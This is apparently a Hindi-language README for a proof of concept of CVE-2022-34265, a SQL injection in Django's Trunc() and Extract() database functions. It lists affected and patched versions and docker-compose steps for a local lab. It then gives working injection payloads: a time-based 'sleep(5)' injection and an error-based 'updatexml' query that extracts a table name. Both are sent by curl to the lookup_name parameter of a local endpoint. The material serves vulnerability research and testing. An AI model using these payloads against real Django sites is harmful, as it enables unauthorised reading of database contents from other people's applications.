
CVE-2022-34265 के लिए PoC
CVE-2022-34265 के लिए PoC
Django 3.2 में 3.2.14 से पहले और 4.0 में 4.0.6 से पहले एक समस्या पाई गई। Trunc() और Extract() डेटाबेस फ़ंक्शन SQL इंजेक्शन के अधीन हैं यदि अविश्वसनीय डेटा को kind/lookup_name मान के रूप में उपयोग किया जाता है। वे एप्लिकेशन जो lookup name और kind choice को ज्ञात सुरक्षित सूची तक सीमित करते हैं, प्रभावित नहीं होते हैं।
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d
docker-compose down
Django>= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
YEAR FROM start_time)) ;select sleep(5)--
YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"
PS: विभिन्न डेटाबेस के मामले में, कमजोरियों का अस्तित्व अलग होता है। MYSQL डेटाबेस बैकएंड
Truncफ़ंक्शन में यह कमजोरी मौजूद नहीं है।